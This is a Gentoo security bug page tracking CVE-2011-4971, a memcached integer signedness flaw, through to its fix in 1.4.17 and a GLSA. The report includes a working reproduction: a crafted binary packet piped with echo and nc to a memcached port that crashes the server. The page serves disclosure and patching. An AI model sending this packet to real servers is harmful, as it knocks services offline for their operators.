Gentoo Websites Logo
Go to: Gentoo Home Documentation Forums Lists Bugs Planet Store Wiki Get Gentoo!
Bug 467962 (CVE-2011-4971) - <net-misc/memcached-1.4.17: Specially crafted packet segmentation fault (CVE-2011-4971)
Summary: <net-misc/memcached-1.4.17: Specially crafted packet segmentation fault (CVE-...
Status: RESOLVED FIXED
Alias: CVE-2011-4971
Product: Gentoo Security
Classification: Unclassified
Component: Vulnerabilities (show other bugs)
Hardware: All Linux
: Normal minor
Assignee: Gentoo Security
URL: https://bugzilla.redhat.com/show_bug....
Whiteboard: B3 [glsa]
Keywords:
Depends on:
Blocks:
 
Reported: 2013-04-30 08:45 UTC by Agostino Sarubbo
Modified: 2014-06-19 11:49 UTC (History)
1 user (show)

See Also:
Package list:
Runtime testing required: ---


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description Agostino Sarubbo gentoo-dev 2013-04-30 08:45:13 UTC
From ${URL} :

This was originally reported by Stefan Bucur:

1. Start memcached in TCP mode. For example:

$ ./memcached -v -p 11211 -U 0

2. Send the specially crafted packet to it: 

$ echo -en 
'\x80\x12\x00\x01\x08\x00\x00\x00\xff\xff\xff\xe8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00\x00\x00\x00\x00\x00\x000\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 
| nc localhost 11211

====

There is a patch mentioned in the original issue report, but the code has 
changed significantly since then.

External references:

https://code.google.com/p/memcached/issues/detail?id=192
http://insecurety.net/?p=872


@maintainer(s): after the bump, in case we need to stabilize the package, please say explicitly if it is ready for the stabilization or not
Comment 1 Chris Reffett (RETIRED) gentoo-dev Security 2013-07-03 02:17:59 UTC
There is a suggested (but untested and unmerged) patch at [1], a comment from the issue Ago linked.

[1] https://code.google.com/p/memcached/issues/detail?id=192#c19
Comment 2 GLSAMaker/CVETool Bot gentoo-dev 2013-12-13 18:30:41 UTC
CVE-2011-4971 (http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-4971):
  Multiple integer signedness errors in the (1) process_bin_sasl_auth, (2)
  process_bin_complete_sasl_auth, (3) process_bin_update, and (4)
  process_bin_append_prepend functions in Memcached 1.4.5 and earlier allow
  remote attackers to cause a denial of service (crash) via a large body
  length value in a packet.
Comment 3 Yury German Gentoo Infrastructure gentoo-dev 2014-06-08 16:20:09 UTC
The bug is fixed in 1.4.16 as per upstream.

Adding to existing GLSA
Comment 4 Yury German Gentoo Infrastructure gentoo-dev 2014-06-08 16:53:48 UTC
Sorry 1.4.17 not 1.4.16
Comment 5 GLSAMaker/CVETool Bot gentoo-dev 2014-06-15 00:48:06 UTC
This issue was resolved and addressed in
 GLSA 201406-13 at http://security.gentoo.org/glsa/glsa-201406-13.xml
by GLSA coordinator Chris Reffett (creffett).
Comment 6 GLSAMaker/CVETool Bot gentoo-dev 2014-06-19 11:49:50 UTC
This issue was resolved and addressed in
 GLSA 201406-13 at http://security.gentoo.org/glsa/glsa-201406-13.xml
by GLSA coordinator Chris Reffett (creffett).